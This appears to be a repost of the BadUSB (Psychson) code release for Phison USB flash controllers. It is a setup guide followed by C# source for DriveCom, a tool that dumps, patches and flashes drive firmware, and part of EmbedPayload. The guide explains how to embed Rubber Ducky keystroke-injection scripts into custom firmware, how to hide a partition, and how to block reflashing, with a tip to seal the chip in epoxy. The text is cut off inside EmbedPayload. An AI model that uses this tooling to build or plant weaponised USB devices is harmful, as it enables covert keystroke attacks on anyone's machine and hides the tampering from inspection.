Bad USB code drop (includes firmware code)

Here’s a synopsis of the code files included in this drop.

  • DriveCom — PC C# application to communicate with Phison drives.
  • EmbedPayload — PC C# application to embed Rubber Ducky inject.bin key scripts into custom firmware for execution on the drive.
  • Injector — PC C# application to extract addresses/equates from firmware as well as embed patching code into the firmware.
  • firmware — this is 8051 custom firmware written in C.
  • patch — this is a collection of 8051 patch code written in C.

Take note that the firmware patches have only been tested against PS2251-03 firmware version _1.03.53_ (which is for an 8K eD3 NAND flash chip). They may work for others, but be careful.
As long as you are using the correct firmware image for your controller version and NAND chip, there is no harm in downgrading to an earlier version (such as from 1.10.53).
**WARNING: This is experimental software. Use on unsupported devices, or even on supported devices, may cause loss of data, or even permananent damage to devices. Use at your own risk.**

Getting Started

To get started, you’ll need to obtain a burner image, which is the 8051 executable responsible for flashing firmware to the drive.

Build Environment

To patch or modify existing firmware, you must first set up a build environment. See [Setting Up the Environment](https://github.com/adamcaudill/Psychson/wiki/Setting-Up-the-Environment) on the wiki for more information.
At a minimum, SDCC needs to be installed to `C:\Program Files\SDCC`.

Dumping Firmware

Run DriveCom, passing in the drive letter representing the drive you want to flash, the path of the burner image you obtained, and the destination path for the firmware image:
tools\DriveCom.exe /drive=E /action=DumpFirmware /burner=BN03V104M.BIN /firmware=fw.bin
where `E` is the drive letter, `BN03V104M.BIN` is the path to the burner image, and `fw.bin` is the resulting firmware dump.
Currently, only 200KB firmware images can be dumped (which is what the [Patriot 8GB Supersonic Xpress](http://www.amazon.com/gp/product/B005EWB15W/) drive uses).

Flashing Custom Firmware

Run `DriveCom`, passing in the drive letter representing the drive you want to flash, the path of the burner image you obtained, and the path of the firmware image you want to flash:

tools\DriveCom.exe /drive=E /action=SendFirmware /burner=BN03V104M.BIN /firmware=fw.bin

where `E` is the drive letter, `BN03V104M.BIN` is the path to the burner image, and `fw.bin` is the path to the firmware image.

Running Demo 1 (HID Payload)

Create a key script in [Rubber Ducky format](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads), then use [Duckencoder](https://code.google.com/p/ducky-decode/downloads/detail?name=DuckEncoder_2.6.3.zip&can=2&q=) to create an `inject.bin` version of it:

java -jar duckencoder.java -i keys.txt -o inject.bin

where `keys.txt` is the path to your key script.
You may notice the delays are not quite the same between the Rubber Ducky and the drive — you may need to adjust your scripts to compensate.
(These tools are available from https://code.google.com/p/ducky-decode/.)
Once you have an `inject.bin` file, embed it into the custom firmware with:

copy CFW.bin hid.bin
tools\EmbedPayload.exe inject.bin hid.bin

where `inject.bin` is the path to your inject.bin file, and `hid.bin` is the path to the HID payload custom firmware.
(Notice that the firmware image is copied, and the payload is embedded into the copy — this is because the payload can only be embedded once, so the original `CFW.bin` must remain intact.)
You can now flash the firmware to your drive with:

tools\DriveCom.exe /drive=E /action=SendFirmware /burner=BN03V104M.BIN /firmware=hid.bin

where `E` is the drive letter representing your drive, `BN03V104M.BIN` is the path to your burner image, and `hid.bin` is the path to the HID payload custom firmware.

Running Demo 2 (Hidden Partition Patch)

First, determine the number of logical blocks (sectors) your drive has with the following command:

tools\DriveCom.exe /drive=E /action=GetNumLBAs

Go into the `patch` directory and modify `base.c` to disable all other patches, and enable the hidden partition patch:

//#define FEATURE_CHANGE_PASSWORD
#define FEATURE_EXPOSE_HIDDEN_PARTITION

Then modify the `NUM_LBAS` define to the number of logical blocks on your drive:

#define NUM_LBAS 0xE6C980UL //this needs to be even! (round down)

Make sure you round down to an even number, and it couldn’t hurt to subtract a few first, in case a few blocks go bad over time. (For example, if the number of LBAs was `0xE6C981`, you might reduce it to `0xE6C940`.)
Place the firmware image you want to patch into the `patch` directory and name it `fw.bin`.
Go to the `patch` directory and run `build.bat`. It will produce a file at `patch\bin\fw.bin` — this is the modified firmware image.
You can now flash this file to your drive.
After flashing, Windows may be confused, as it now only sees half of the partition it once did — it may ask you to format the first time you view either the public or hidden halves of the drive. This is normal.

Running Demo 3 (Password Patch)

Go into the `patch` directory and modify `base.c` to disable all other patches, and enable the password patch:

#define FEATURE_CHANGE_PASSWORD
//#define FEATURE_EXPOSE_HIDDEN_PARTITION

Place the firmware image you want to patch into the `patch` directory and name it `fw.bin`.
Go to the `patch` directory and run `build.bat`. It will produce a file at `patch\bin\fw.bin` — this is the modified firmware image.
You can now flash this file to your drive.

Running No Boot Mode Patch

Go into the `patch` directory and modify `base.c` to disable all other patches, and enable the no boot patch:

//#define FEATURE_CHANGE_PASSWORD
//#define FEATURE_EXPOSE_HIDDEN_PARTITION
#define FEATURE_PREVENT_BOOT

Place the firmware image you want to patch into the `patch` directory and name it `fw.bin`.
Go to the `patch` directory and run `build.bat`. It will produce a file at `patch\bin\fw.bin` — this is the modified firmware image.
You can now flash this file to your drive. Once flashed to your device, it will no longer act on the command to jump to boot mode. To update the firmware again will require [shorting pins](https://github.com/adamcaudill/Psychson/blob/master/docs/PinsToShortUponPlugInForBootMode.jpg) on the controller. To make it impossible* to update, after flashing this patch coat the device with epoxy.
* Within reason; it may be possible to get to boot mode via an exploit or other non-standard method.*

Converting to Mode 7

You can run the `ModeConverterFF01.exe` application (see [Useful Links](https://github.com/adamcaudill/Psychson/wiki/Useful-Links)) to split the drive into public and secure partitions, or restore the original (mode 3) functionality.
After converting to mode 7, you should be able to set, change, or disable the secure partition password with the `USB DISK Pro LOCK` utility.

Building From Source

Modify the C files in the `firmware` directory for custom firmware, or the `patch` directory for the firmware patches, then run the `build.bat` file in the appropriate directory.
Once it has built successfully, use DriveCom to flash the resulting file (`bin\fw.bin`) to your drive:

tools\DriveCom.exe /drive=E /action=SendFirmware /burner=BN03V104M.BIN /firmware=firmware\bin\fw.bin

…or…

tools\DriveCom.exe /drive=E /action=SendFirmware /burner=BN03V104M.BIN /firmware=patch\bin\fw.bin

Here’s the code:

DriveCom

Add chip ID & num LBA retrieval commands

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace DriveCom
{
    class Startup
    {
        private const int _WAIT_TIME_MS = 2000;
        private static PhisonDevice _device = null;
        private static string _burner;
        private static string _firmware;
        private static string _password;
        public enum Action
        {
            None,
            GetInfo,
            SetPassword,
            DumpFirmware,
            SetBootMode,
            SendExecutable,
            SendFirmware,
            GetNumLBAs
        }
        public enum ExitCode
        {
            Success = 0,
            Failure = 1
        }
        static void Main(string[] args)
        {
            try
            {
                Environment.ExitCode = (int)ExitCode.Success;
                var action = Action.None;
                string drive = string.Empty;
                foreach (var arg in args)
                {
                    var parts = arg.TrimStart(new char[] { '/' }).Split(new char[] { '=' },
                        StringSplitOptions.RemoveEmptyEntries);
                    switch (parts[0].ToLower())
                    {
                        case "action":
                            {
                                action = (Action)Enum.Parse(typeof(Action), parts[1]);
                                break;
                            }
                        case "drive":
                            {
                                drive = parts[1];
                                break;
                            }
                        case "burner":
                            {
                                _burner = parts[1];
                                break;
                            }
                        case "firmware":
                            {
                                _firmware = parts[1];
                                break;
                            }
                        case "password":
                            {
                                _password = parts[1];
                                break;
                            }
                        default:
                            {
                                break;
                            }
                    }
                }
                if (!string.IsNullOrEmpty(drive))
                {
                    _OpenDrive(drive);
                }
                if (action != Action.None)
                {
                    Console.WriteLine("Action specified: " + action.ToString());
                    switch (action)
                    {
                        case Action.DumpFirmware:
                            {
                                _DumpFirmware(_firmware);
                                break;
                            }
                        case Action.GetInfo:
                            {
                                _GetInfo();
                                break;
                            }
                        case Action.SendExecutable:
                            {
                                _ExecuteImage(_burner);
                                break;
                            }
                        case Action.SendFirmware:
                            {
                                _SendFirmware();
                                break;
                            }
                        case Action.GetNumLBAs:
                            {
                                _DisplayLBAs();
                                break;
                            }
                        case Action.SetBootMode:
                            {
                                _device.JumpToBootMode();
                                Thread.Sleep(_WAIT_TIME_MS);
                                break;
                            }
                        case Action.SetPassword:
                            {
                                _SendPassword(_password);
                                break;
                            }
                        default:
                            {
                                throw new ArgumentException("No/invalid action specified");
                            }
                    }
                }
                else
                {
                    Console.WriteLine("No action specified, entering console.");
                    bool exiting = false;
                    while (!exiting)
                    {
                        Console.Write(">");
                        var line = Console.ReadLine();
                        var @params = line.Split(new char[] { ' ' });
                        try
                        {
                            switch (@params[0].ToLower())
                            {
                                case "open":
                                    {
                                        _OpenDrive(@params[1]);
                                        break;
                                    }
                                case "close":
                                    {
                                        _CloseDrive();
                                        break;
                                    }
                                case "mode":
                                    {
                                        _GetInfo();
                                        break;
                                    }
                                case "info":
                                    {
                                        var data = _device.RequestVendorInfo();
                                        Console.WriteLine(string.Format("Info: {0}...", BitConverter.ToString(data, 0, 16)));
                                        break;
                                    }
                                case "get_num_lbas":
                                    {
                                        _DisplayLBAs();
                                        break;
                                    }
                                case "password":
                                    {
                                        _SendPassword(@params[1]);
                                        break;
                                    }
                                case "dump_xram":
                                    {
                                        var address = 0;
                                        var data = new byte[0xF000];
                                        for (int i = 0; i < data.Length; i++)
                                        {
                                            var result = _device.SendCommand(new byte[] { 0x06, 0x06,
                                        (byte)((address >> 8) & 0xFF), (byte)(address & 0xFF), 0x00, 0x00, 0x00, 0x00 }, 1);
                                            data[address] = result[0];
                                            address++;
                                        }
                                        File.WriteAllBytes(@params[1], data);
                                        break;
                                    }
                                case "dump_firmware":
                                    {
                                        _DumpFirmware(@params[1]);
                                        break;
                                    }
                                case "nand_read":
                                    {
                                        var address = Convert.ToInt32(@params[1], 16);
                                        var size = Convert.ToInt32(@params[2], 16);
                                        var result = _device.SendCommand(new byte[] { 0x06, 0xB2, 0x10,
                                        (byte)((address >> 8) & 0xFF), (byte)(address & 0xFF), 0x00, 0x00,
                                        (byte)((size >> 8) & 0xFF), (byte)(size & 0xFF) }, size * 512);
                                        Console.WriteLine(string.Format("Data: {0}...", BitConverter.ToString(result, 0, 16)));
                                        break;
                                    }
                                case "boot":
                                    {
                                        _device.JumpToBootMode();
                                        Thread.Sleep(_WAIT_TIME_MS);
                                        break;
                                    }
                                case "set_burner":
                                    {
                                        _burner = @params[1];
                                        break;
                                    }
                                case "set_firmware":
                                    {
                                        _firmware = @params[1];
                                        break;
                                    }
                                case "burner":
                                    {
                                        _ExecuteImage(_burner);
                                        break;
                                    }
                                case "firmware":
                                    {
                                        _SendFirmware();
                                        break;
                                    }
                                case "peek":
                                    {
                                        var address = Convert.ToInt32(@params[1], 16);
                                        var result = _device.SendCommand(new byte[] { 0x06, 0x06,
                                        (byte)((address >> 8) & 0xFF), (byte)(address & 0xFF), 0x00, 0x00, 0x00, 0x00 }, 1);
                                        Console.WriteLine("Value: " + result[0].ToString("X02"));
                                        break;
                                    }
                                case "poke":
                                    {
                                        var address = Convert.ToInt32(@params[1], 16);
                                        var value = Convert.ToInt32(@params[2], 16);
                                        _device.SendCommand(new byte[] { 0x06, 0x07,
                                        (byte)((address >> 8) & 0xFF), (byte)(address & 0xFF), (byte)value, 0x00, 0x00 }, 1);
                                        break;
                                    }
                                case "ipeek":
                                    {
                                        var address = Convert.ToInt32(@params[1], 16);
                                        var result = _device.SendCommand(new byte[] { 0x06, 0x08,
                                        (byte)(address & 0xFF), 0x00, 0x00, 0x00, 0x00 }, 1);
                                        Console.WriteLine("Value: " + result[0].ToString("X02"));
                                        break;
                                    }
                                case "ipoke":
                                    {
                                        var address = Convert.ToInt32(@params[1], 16);
                                        var value = Convert.ToInt32(@params[2], 16);
                                        _device.SendCommand(new byte[] { 0x06, 0x09,
                                        (byte)(address & 0xFF), (byte)value, 0x00, 0x00 }, 1);
                                        break;
                                    }
                                case "quit":
                                case "exit":
                                    {
                                        exiting = true;
                                        break;
                                    }
                                default:
                                    Console.WriteLine("Invalid command: " + @params[0]);
                                    break;
                            }
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine("ERROR: " + ex.ToString());
                        }
                    }
                    Console.WriteLine("Done.");
                }
            }
            catch (Exception ex)
            {
                Environment.ExitCode = (int)ExitCode.Failure;
                Console.WriteLine("FATAL: " + ex.ToString());
            }
            finally
            {
                if (_device != null)
                {
                    _device.Close();
                }
            }
        }
        private static void _OpenDrive(string drive)
        {
            _CloseDrive();
            _device = new PhisonDevice(drive[0]);
            _device.Open();
        }
        private static void _CloseDrive()
        {
            if (_device != null)
            {
                _device.Close();
                _device = null;
            }
        }
        private static void _DisplayLBAs()
        {
            Console.WriteLine("Number of LBAs: 0x" + _device.GetNumLBAs().ToString("X08"));
        }
        private static void _DumpFirmware(string fileName)
        {
            var address = 0;
            var data = new byte[0x32400];
            var header = new byte[] { 0x42, 0x74, 0x50, 0x72, 0x61, 0x6D, 0x43, 0x64,
                                        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x10, 0x0B, 0x18 };
            Array.Copy(header, 0, data, 0, header.Length);
            while (address * 0x200 < data.Length)
            {
                var length = Math.Min(0x40 * 512, (data.Length - 0x400) - (address * 0x200));
                var temp = length / 512;
                var result = _device.SendCommand(new byte[] { 0x06, 0xB2, 0x10,
                                        (byte)((address >> 8) & 0xFF), (byte)(address & 0xFF), 0x00, 0x00,
                                        (byte)((temp >> 8) & 0xFF), (byte)(temp & 0xFF) }, length);
                Array.Copy(result.Take(length).ToArray(), 0, data, 0x200 + address * 512, length);
                address += 0x40;
            }
            var footer = new byte[] { 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x6D,
                                        0x70, 0x20, 0x6D, 0x61, 0x72, 0x6B, 0x00, 0x03, 0x01, 0x00, 0x10, 0x01, 0x04, 0x10, 0x42 };
            Array.Copy(footer, 0, data, data.Length - 0x200, footer.Length);
            File.WriteAllBytes(fileName, data);
        }
        private static void _SendPassword(string password)
        {
            var data = new byte[0x200];
            var pw = ASCIIEncoding.ASCII.GetBytes(password);
            Array.Copy(pw, 0, data, 0x10, pw.Length);
            _device.SendCommand(new byte[] { 0x0E, 0x00, 0x01, 0x55, 0xAA,
                                        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, data);
        }
        private static void _SendFirmware()
        {
            var mode = _GetInfo();
            if (mode != PhisonDevice.RunMode.Burner)
            {
                if (mode != PhisonDevice.RunMode.BootMode)
                {
                    Console.WriteLine("Switching to boot mode...");
                    _device.JumpToBootMode();
                    Thread.Sleep(_WAIT_TIME_MS);
                }
                _ExecuteImage(_burner);
            }
            _RunFirmware(_firmware);
        }
        private static PhisonDevice.RunMode _GetInfo()
        {
            Console.WriteLine("Gathering information...");
            Console.WriteLine("Reported chip type: " + _device.GetChipType().GetValueOrDefault().ToString("X04"));
            Console.WriteLine("Reported chip ID: " + _device.GetChipID());
            Console.WriteLine("Reported firmware version: " + _device.GetFirmwareVersion());
            var ret = _device.GetRunMode();
            Console.WriteLine("Mode: " + ret.ToString());
            return ret;
        }
        private static void _ExecuteImage(string fileName)
        {
            //Read image
            var file = new FileStream(fileName, FileMode.Open);
            var fileData = new byte[file.Length];
            file.Read(fileData, 0, fileData.Length);
            file.Close();
            //Load it
            _device.TransferFile(fileData);
            _device.JumpToPRAM();
            //Wait a little bit
            Thread.Sleep(_WAIT_TIME_MS);
        }
        private static void _RunFirmware(string fileName)
        {
            //Get file data
            var fw = new FileStream(fileName, FileMode.Open);
            var data = new byte[fw.Length];
            fw.Read(data, 0, data.Length);
            fw.Close();
            //TODO: Find out what this actually does...
            //Console.WriteLine("Sending scary B7 command (takes several seconds)...");
            //_device.SendCommand(new byte[] { 0x06, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });
            Console.WriteLine("Rebooting...");
            _device.JumpToBootMode();
            Thread.Sleep(_WAIT_TIME_MS);
            Console.WriteLine("Sending firmware...");
            _device.TransferFile(data, 0x01, 0x00);
            var ret = _device.SendCommand(new byte[] { 0x06, 0xEE, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, 64 + 8);
            Thread.Sleep(_WAIT_TIME_MS);
            _device.TransferFile(data, 0x03, 0x02);
            ret = _device.SendCommand(new byte[] { 0x06, 0xEE, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 }, 64 + 8);
            Thread.Sleep(_WAIT_TIME_MS);
            ret = _device.SendCommand(new byte[] { 0x06, 0xEE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, 64 + 8);
            Thread.Sleep(_WAIT_TIME_MS);
            ret = _device.SendCommand(new byte[] { 0x06, 0xEE, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 }, 64 + 8);
            Thread.Sleep(_WAIT_TIME_MS);
            Console.WriteLine("Executing...");
            _device.JumpToPRAM();
            Thread.Sleep(_WAIT_TIME_MS);
            //Display new mode, if we can actually get it
            Console.WriteLine("Mode: " + _device.GetRunMode().ToString());
        }
    }
}

Add Chip ID and num LBA retrieval commands

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace DriveCom
{
    public class PhisonDevice
    {
        private char _driveLetter;
        private SafeFileHandle _handle;
        public enum RunMode
        {
            Unknown,
            BootMode,
            Burner,
            HardwareVerify,
            Firmware
        }
        [Flags]
        public enum EFileAttributes : uint
        {
            Readonly = 0x00000001,
            Hidden = 0x00000002,
            System = 0x00000004,
            Directory = 0x00000010,
            Archive = 0x00000020,
            Device = 0x00000040,
            Normal = 0x00000080,
            Temporary = 0x00000100,
            SparseFile = 0x00000200,
            ReparsePoint = 0x00000400,
            Compressed = 0x00000800,
            Offline = 0x00001000,
            NotContentIndexed = 0x00002000,
            Encrypted = 0x00004000,
            Write_Through = 0x80000000,
            Overlapped = 0x40000000,
            NoBuffering = 0x20000000,
            RandomAccess = 0x10000000,
            SequentialScan = 0x08000000,
            DeleteOnClose = 0x04000000,
            BackupSemantics = 0x02000000,
            PosixSemantics = 0x01000000,
            OpenReparsePoint = 0x00200000,
            OpenNoRecall = 0x00100000,
            FirstPipeInstance = 0x00080000
        }
        [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern SafeFileHandle CreateFile(
          string fileName,
          [MarshalAs(UnmanagedType.U4)] FileAccess fileAccess,
          [MarshalAs(UnmanagedType.U4)] FileShare fileShare,
          IntPtr securityAttributes,
          [MarshalAs(UnmanagedType.U4)] FileMode creationDisposition,
          [MarshalAs(UnmanagedType.U4)] EFileAttributes flags,
          IntPtr template);
        [DllImport("kernel32.dll")]
        static public extern int CloseHandle(SafeFileHandle hObject);
        public const byte SCSI_IOCTL_DATA_OUT = 0;
        public const byte SCSI_IOCTL_DATA_IN = 1;
        [StructLayout(LayoutKind.Sequential)]
        class SCSI_PASS_THROUGH_DIRECT
        {
            private const int _CDB_LENGTH = 16;
            public short Length;
            public byte ScsiStatus;
            public byte PathId;
            public byte TargetId;
            public byte Lun;
            public byte CdbLength;
            public byte SenseInfoLength;
            public byte DataIn;
            public int DataTransferLength;
            public int TimeOutValue;
            public IntPtr DataBuffer;
            public uint SenseInfoOffset;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = _CDB_LENGTH)]
            public byte[] Cdb;
            public SCSI_PASS_THROUGH_DIRECT()
            {
                Cdb = new byte[_CDB_LENGTH];
            }
        };
        [StructLayout(LayoutKind.Sequential)]
        class SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER
        {
            private const int _SENSE_LENGTH = 32;
            internal SCSI_PASS_THROUGH_DIRECT sptd = new SCSI_PASS_THROUGH_DIRECT();
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = _SENSE_LENGTH)]
            internal byte[] sense;
            public SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER()
            {
                sense = new byte[_SENSE_LENGTH];
            }
        };
        [DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true, CharSet = CharSet.Auto)]
        static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode,
            IntPtr lpInBuffer, uint nInBufferSize,
            IntPtr lpOutBuffer, uint nOutBufferSize,
            out uint lpBytesReturned, IntPtr lpOverlapped);
        /// <summary>
        /// Creates a reference to a device with a Phison USB controller.
        /// </summary>
        /// <param name="driveLetter">The Windows drive letter representing the device.</param>
        public PhisonDevice(char driveLetter)
        {
            _driveLetter = driveLetter;
        }
        /// <summary>
        /// Opens a connection to the device.
        /// </summary>
        public void Open()
        {
            _handle = CreateFile(string.Format("\\\\.\\{0}:", _driveLetter), FileAccess.ReadWrite, FileShare.ReadWrite,
                IntPtr.Zero, FileMode.Open, EFileAttributes.NoBuffering, IntPtr.Zero);
        }
        public byte[] RequestVendorInfo()
        {
            var data = SendCommand(new byte[] { 0x06, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01 },
                512 + 16);
            byte[] ret = null;
            if (data != null)
            {
                ret = data.Take(512).ToArray();
            }
            return ret;
        }
        public string GetChipID()
        {
            var response = SendCommand(new byte[] { 0x06, 0x56, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, 512);
            return BitConverter.ToString(response, 0, 6);
        }
        public string GetFirmwareVersion()
        {
            var info = RequestVendorInfo();
            return info[0x94] + "." + info[0x95].ToString("X02") + "." + info[0x96].ToString("X02");
        }
        public ushort? GetChipType()
        {
            ushort? ret = null;
            var info = RequestVendorInfo();
            if (info != null)
            {
                if (info[0x17A] == (byte)'V' && info[0x17B] == (byte)'R')
                {
                    var data = info.Skip(0x17E).Take(2).ToArray();
                    ret = (ushort)((data[0] << 8) | data[1]);
                }
            }
            return ret;
        }
        public RunMode GetRunMode()
        {
            var ret = RunMode.Unknown;
            var info = RequestVendorInfo();
            if (info != null)
            {
                if (info[0x17A] == (byte)'V' && info[0x17B] == (byte)'R')
                {
                    //TODO: Fix this, this is a dumb way of detecting it
                    switch (ASCIIEncoding.ASCII.GetString(info.Skip(0xA0).Take(8).ToArray()))
                    {
                        case " PRAM   ":
                            ret = RunMode.BootMode;
                            break;
                        case " FW BURN":
                            ret = RunMode.Burner;
                            break;
                        case " HV TEST":
                            ret = RunMode.HardwareVerify;
                            break;
                        default:
                            ret = RunMode.Firmware;
                            break;
                    }
                }
            }
            return ret;
        }
        public ulong GetNumLBAs()
        {
            var response = SendCommand(new byte[] { 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, 8);
            ulong ret = response[3];
            ret |= (ulong)((ulong)(response[2] << 8) & 0x0000FF00);
            ret |= (ulong)((ulong)(response[1] << 16) & 0x00FF0000);
            ret |= (ulong)((ulong)(response[0] << 24) & 0xFF000000);
            return ret + 1;
        }
        public void JumpToPRAM()
        {
            SendCommand(new byte[] { 0x06, 0xB3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });
        }
        public void JumpToBootMode()
        {
            SendCommand(new byte[] { 0x06, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });
        }
        public void TransferFile(byte[] data)
        {
            TransferFile(data, 0x03, 0x02);
        }
        public void TransferFile(byte[] data, byte header, byte body)
        {
            var size = data.Length - 1024;
            //Send header
            SendCommand(new byte[] { 0x06, 0xB1, header, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, data.Take(0x200).ToArray());
            //Get response
            var response = SendCommand(new byte[] { 0x06, 0xB0, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, 8);
            if (response == null || response[0] != 0x55)
            {
                throw new InvalidOperationException("Header not accepted");
            }
            //Send body
            int address = 0;
            while (size > 0)
            {
                int chunkSize;
                if (size > 0x8000)
                {
                    chunkSize = 0x8000;
                }
                else
                {
                    chunkSize = size;
                }
                int cmdAddress = address >> 9;
                int cmdChunk = chunkSize >> 9;
                SendCommand(new byte[] { 0x06, 0xB1, body, (byte)((cmdAddress >> 8) & 0xFF), (byte)(cmdAddress & 0xFF),
                    0x00, 0x00, (byte)((cmdChunk >> 8) & 0xFF), (byte)(cmdChunk & 0xFF), 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 },
                    data.Skip(address + 0x200).Take(chunkSize).ToArray());
                //Get response
                var r = SendCommand(new byte[] { 0x06, 0xB0, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, 8);
                if (r == null || r[0] != 0xA5)
                {
                    throw new InvalidOperationException("Body not accepted");
                }
                address += chunkSize;
                size -= chunkSize;
            }
        }
        /// <summary>
        /// Sends command with no attached data and returns expected response.
        /// </summary>
        /// <param name="cmd"></param>
        /// <param name="bytesExpected"></param>
        /// <returns></returns>
        public byte[] SendCommand(byte[] cmd, int bytesExpected)
        {
            return _SendCommand(_handle, cmd, null, bytesExpected);
        }
        /// <summary>
        /// Sends command with no attached data and no response.
        /// </summary>
        /// <param name="cmd"></param>
        public void SendCommand(byte[] cmd)
        {
            SendCommand(cmd, null);
        }
        /// <summary>
        /// Sends command with attached data and no response.
        /// </summary>
        /// <param name="cmd"></param>
        /// <param name="data"></param>
        public void SendCommand(byte[] cmd, byte[] data)
        {
            _SendCommand(_handle, cmd, data, 0);
        }
        /// <summary>
        /// Closes the connection to the device.
        /// </summary>
        public void Close()
        {
            if (_handle != null && !_handle.IsClosed)
            {
                _handle.Close();
            }
        }
        private static byte[] _SendCommand(SafeFileHandle handle, byte[] cmd, byte[] data, int bytesExpected)
        {
            const int IOCTL_SCSI_PASS_THROUGH_DIRECT = 0x4D014;
            const int TIMEOUT_SECS = 30;
            SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER scsi = null;
            IntPtr inBuffer = IntPtr.Zero;
            byte[] ret = null;
            try
            {
                scsi = new SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER();
                scsi.sptd.Length = (short)Marshal.SizeOf(scsi.sptd);
                scsi.sptd.TimeOutValue = TIMEOUT_SECS;
                scsi.sptd.SenseInfoOffset = (uint)Marshal.OffsetOf(typeof(SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER), "sense");
                scsi.sptd.SenseInfoLength = (byte)scsi.sense.Length;
                scsi.sptd.CdbLength = (byte)cmd.Length;
                Array.Copy(cmd, scsi.sptd.Cdb, cmd.Length);
                scsi.sptd.DataIn = data != null && data.Length > 0 ? SCSI_IOCTL_DATA_OUT : SCSI_IOCTL_DATA_IN;
                scsi.sptd.DataTransferLength = data != null && data.Length > 0 ? data.Length : bytesExpected;
                scsi.sptd.DataBuffer = Marshal.AllocHGlobal(scsi.sptd.DataTransferLength);
                if (data != null && data.Length > 0)
                {
                    Marshal.Copy(data, 0, scsi.sptd.DataBuffer, data.Length);
                }
                uint bytesReturned;
                inBuffer = Marshal.AllocHGlobal(Marshal.SizeOf(scsi));
                var size = (uint)Marshal.SizeOf(scsi);
                Marshal.StructureToPtr(scsi, inBuffer, false);
                if (!DeviceIoControl(handle.DangerousGetHandle(), IOCTL_SCSI_PASS_THROUGH_DIRECT,
                    inBuffer, size, inBuffer, size, out bytesReturned, IntPtr.Zero))
                {
                    //Whoops, do something with the error code
                    int last = Marshal.GetLastWin32Error();
                    throw new InvalidOperationException("DeviceIoControl failed: " + last.ToString("X04"));
                }
                else
                {
                    if (scsi.sptd.ScsiStatus != 0)
                    {
                        //Whoops, do something with the error code
                        throw new InvalidOperationException("SCSI command failed: " + scsi.sptd.ScsiStatus.ToString("X02"));
                    }
                    else
                    {
                        //Success, marshal back any data we received
                        if (scsi.sptd.DataTransferLength > 0)
                        {
                            ret = new byte[scsi.sptd.DataTransferLength];
                            Marshal.Copy(scsi.sptd.DataBuffer, ret, 0, ret.Length);
                        }
                    }
                }
            }
            finally
            {
                /* Free any unmanaged resources */
                if (scsi != null && scsi.sptd.DataBuffer != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(scsi.sptd.DataBuffer);
                }
                if (inBuffer != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(inBuffer);
                }
            }
            return ret;
        }
    }
}

Embed payload

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace EmbedPayload
{
    class Startup
    {
        public enum ExitCode
        {
            Success = 0,
            Failure = 1
        }
        static void Main(string[] args)
        {
            if (args.Length != 2)
            {
                Console.WriteLine("Usage: [payload BIN] [firmware image]");
                return;
            }
            try
            {
                //Assume success at first
                Environment.ExitCode = (int)ExitCode.Success;
                //Read all bytes from input file
                var payload = File.ReadAllBytes(args[0]);
                //Read all bytes from output file:
                var stream = new FileStream(args[1], FileMode.Open, FileAccess.ReadWrite);
                var header = new byte[0x200];
                stream.Read(header, 0, header.Length);
                var data = new byte[0x6000];
                stream.Read(data, 0, data.Length);
                //  Look for 0x12345678
                var signature = new byte[] { 0x12, 0x34, 0x56, 0x78 };
                int? address = null;
                for (int i = 0; i < data.Length; i++)
                {
                    bool match = true;
                    for (int j = 0; j < signature.Length; j++)
                    {
                        if (data[i + j] != signature[j])
                        {
                            match = false;
                            break;
                        }
                    }
                    if (match)
                    {
                        address = i;
                        break;
                    }
                }
                //  When found, overwrite with input data
                if (address.HasValue)
                {
                    if ((0x200 + address.Value) >= 0x6000)
                    {
                        throw new InvalidOperationException("Insufficient memory to inject file!");
                    }
                    stream.Seek(0x200 + address.Value, SeekOrigin.Begin);
                    stream.Write(payload, 0, payload.Length);
                    //Save output file back out
                    stream.Close();
                    Console.WriteLine("File updated.");
                }
                else
                {
